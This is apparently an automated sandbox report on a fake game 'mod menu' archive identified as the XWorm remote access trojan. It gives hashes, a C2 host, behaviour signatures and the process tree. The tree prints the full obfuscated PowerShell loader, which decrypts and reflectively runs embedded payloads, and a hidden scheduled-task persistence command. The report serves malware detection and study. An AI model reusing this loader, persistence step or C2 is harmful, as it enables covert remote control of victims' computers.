Resubmissions

04/03/2025, 19:23

250304-x32assx1g1 10

04/03/2025, 19:21

250304-x2ytaax1dx 10

Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    04/03/2025, 19:23

General

  • Target

    Destiny Mod Menu.rar

  • Size

    194KB

  • MD5

    d1e398e757c4a3e1c9887296cef12b34

  • SHA1

    197c715389fba91d476d395bb0c9439009b9a1da

  • SHA256

    10f65b5ff82a1838a20614cc7bf379e8f55c3d46ef9ecaba7837c17ec44ce49f

  • SHA512

    bafe205c3727f954d15d3046881a6989b4bd8541f472cdfa5bd22211616f97b5ff591fb45ef159ea910dce30fb98e034ff0bb8f9e237c629e75b59a78504ef28

  • SSDEEP

    6144:KR9UeLmjjYjgRT+IZbnVqjmxAvAhZrM/BBDnjMy0VMugzsS:Cyeak0hjZE2AoTWBfpugB

Malware Config

Extracted

Family

xworm

Version

5.0

C2

french-add.gl.at.ply.gg:6536

Mutex

db7vnqFX7vAc4WLR

Attributes
  • Install_directory

    %ProgramData%

  • install_file

    System.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Destiny Mod Menu.rar"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1768
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zO8E63A5E7\Destiny Loader Installer.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3576
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a4Wny3pMw/quq+3CugnkbgjOgDqz7GpqcCoFYQ082Qg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McCcrn5ax83ehqoAfbIc3A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RELLW=New-Object System.IO.MemoryStream(,$param_var); $KdJRg=New-Object System.IO.MemoryStream; $atmEh=New-Object System.IO.Compression.GZipStream($RELLW, [IO.Compression.CompressionMode]::Decompress); $atmEh.CopyTo($KdJRg); $atmEh.Dispose(); $RELLW.Dispose(); $KdJRg.Dispose(); $KdJRg.ToArray();}function execute_function($param_var,$param2_var){ $LMajr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqHWQ=$LMajr.EntryPoint; $ZqHWQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\7zO8E63A5E7\Destiny Loader Installer.bat';$VYMDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\7zO8E63A5E7\Destiny Loader Installer.bat').Split([Environment]::NewLine);foreach ($kwRBK in $VYMDR) { if ($kwRBK.StartsWith(':: ')) { $buoVq=$kwRBK.Substring(3); break; }}$payloads_var=[string[]]$buoVq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4444
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_340_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_340.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1260
        • C:\Windows\System32\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_340.vbs"
          4⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4404
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_340.bat" "
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1860
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('a4Wny3pMw/quq+3CugnkbgjOgDqz7GpqcCoFYQ082Qg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('McCcrn5ax83ehqoAfbIc3A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $RELLW=New-Object System.IO.MemoryStream(,$param_var); $KdJRg=New-Object System.IO.MemoryStream; $atmEh=New-Object System.IO.Compression.GZipStream($RELLW, [IO.Compression.CompressionMode]::Decompress); $atmEh.CopyTo($KdJRg); $atmEh.Dispose(); $RELLW.Dispose(); $KdJRg.Dispose(); $KdJRg.ToArray();}function execute_function($param_var,$param2_var){ $LMajr=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqHWQ=$LMajr.EntryPoint; $ZqHWQ.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_340.bat';$VYMDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_340.bat').Split([Environment]::NewLine);foreach ($kwRBK in $VYMDR) { if ($kwRBK.StartsWith(':: ')) { $buoVq=$kwRBK.Substring(3); break; }}$payloads_var=[string[]]$buoVq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
              6⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              PID:1716

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    ee6f5f5e5924783870aeedeccdafe9da

    SHA1

    0e12ede20df5ec37f2bf3608ad1bc9b4649450fd

    SHA256

    ebf215446a1b5afa86e8ba4316bc99c6d7918acd595786a31e0e5974f4e0f416

    SHA512

    998bad1b069cb0e7a57edef247421e5d5bc0b4f071bd16e4260367e86ac62053168204abc850365bf6eb4f41b32568bea99eb9afda60e7746eff37e604cbe61f

  • C:\Users\Admin\AppData\Local\Temp\7zO8E63A5E7\Destiny Loader Installer.bat

    Filesize

    265KB

    MD5

    512d6ccd633decbe126a38c51c29a280

    SHA1

    017e6fbb5eb2e367f37b4e5c33eb89cafcc7db48

    SHA256

    411b2ce5f266c6b25a645c37e7fd071772810ae5c74cf457db20f43f43277fe5

    SHA512

    fde1138b21117652348ec58f6ea92687fb94b111e0c49b5528d995a8e5e1588e7d1957761ca6eabb1010666f925b77a8032c129ec0839c5797a7e8381af24af7

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jmsve0r4.ql2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_340.vbs

    Filesize

    115B

    MD5

    071c67e5bbb3741e5051266d93ff5b34

    SHA1

    e3cad92cc444a1057cdf8aad70ae3c5a55856e99

    SHA256

    9bb9867d63f3522d5ba4bce6f86f81acb26de1d3213d8c1d49bfd69a70d1ebca

    SHA512

    232b5c6e540041c3cd971e83dbd763ca09fe673d94c17163dc8cdd21fe432f05f1cb243e526432010620583b22a22efd5718e9588963c91a8922225d2cfc7196

  • memory/1716-50-0x000002A7A1EE0000-0x000002A7A1EF0000-memory.dmp

    Filesize

    64KB

  • memory/4444-16-0x00007FF99BDF0000-0x00007FF99C8B1000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-17-0x00007FF99BDF0000-0x00007FF99C8B1000-memory.dmp

    Filesize

    10.8MB

  • memory/4444-18-0x0000025CD3900000-0x0000025CD3908000-memory.dmp

    Filesize

    32KB

  • memory/4444-19-0x0000025CEDD50000-0x0000025CEDD84000-memory.dmp

    Filesize

    208KB

  • memory/4444-6-0x0000025CEDB00000-0x0000025CEDB22000-memory.dmp

    Filesize

    136KB

  • memory/4444-5-0x00007FF99BDF3000-0x00007FF99BDF5000-memory.dmp

    Filesize

    8KB

  • memory/4444-51-0x00007FF99BDF0000-0x00007FF99C8B1000-memory.dmp

    Filesize

    10.8MB